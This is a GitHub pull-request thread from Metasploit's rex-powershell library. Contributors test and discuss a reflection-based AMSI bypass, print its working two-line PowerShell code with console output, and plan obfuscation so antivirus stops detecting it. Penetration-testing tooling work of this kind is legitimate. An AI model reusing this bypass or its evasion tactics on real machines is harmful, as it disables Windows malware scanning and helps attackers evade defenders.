rapid7 / rex-powershell

Rex library for dealing with Powershell Scripts
Other
53 stars 35 forks source link

Add an updated AMSI bypass #29

Closed zeroSteiner closed 3 years ago

zeroSteiner commented 3 years ago

This is a draft PR that includes an updated AMSI bypass that I've confirmed works on Windows 10. The code for the bypass is from here and uses reflection to avoid writing anything to disk and invoking csc.exe. AFAIK this is the latest and greatest technique.

Testing Steps

I also tested this with the web_delivery module and it works there as well so long as the prepend_protections_bypass option is enabled.

To do:

timwr commented 3 years ago

Perhaps a stupid question, but is this really necessary? The old bypass still appears to work (on my machine).

C:\Users\User>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\User> $Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
PS C:\Users\User> $Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
PS C:\Users\User> "AmsiUtils"
AmsiUtils
PS C:\Users\User> exit

C:\Users\User>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\User> "AmsiUtils"
At line:1 char:1
+ "AmsiUtils"
+ ~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent
zeroSteiner commented 3 years ago

Yeah, you're right it does look like it's still working. I just tested it with the exploit/multi/script/web_delivery module as well and confirmed it's working there as well. I could have sworn I tested that before starting on this and it wasn't working.

Since it is working, are you aware of any reason why we wouldn't enable Powershell::prepend_protections_byass by default?

timwr commented 3 years ago

There may well be an issue where it Windows defender flags it the very first time, and subsequent attempts work. I'll keep an eye on it, because I'm pretty sure I tested it previously and found it wasn't working.

On Windows 7 I'm getting this:

PS C:\Users\User> $Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue
($null,$true);
You cannot call a method on a null-valued expression.
At line:1 char:14
+ $Ref.GetField <<<< ('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$t
rue);
    + CategoryInfo          : InvalidOperation: (GetField:String) [], RuntimeE
   xception
    + FullyQualifiedErrorId : InvokeMethodOnNull

So perhaps we simply need a null check?

zeroSteiner commented 3 years ago

I just corrected my previous comment. It looks like the technique is still working, at least in isolation. When used by the exploit/multi/script/web_delivery module however it's failing to yield a session. In fact, when trying to run the bypass itself with both lines together, it's being caught as malicious which is probably related.

PS C:\Users\smcintyre>         $Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
>>         $Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
At line:1 char:1
+         $Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS C:\Users\smcintyre>
zeroSteiner commented 3 years ago

I ended up replacing this with rapid7/metasploit-framework#15254. It uses the same AMSI bypass techniques but they're now obfuscated so the bypass itself is not identified as malicious.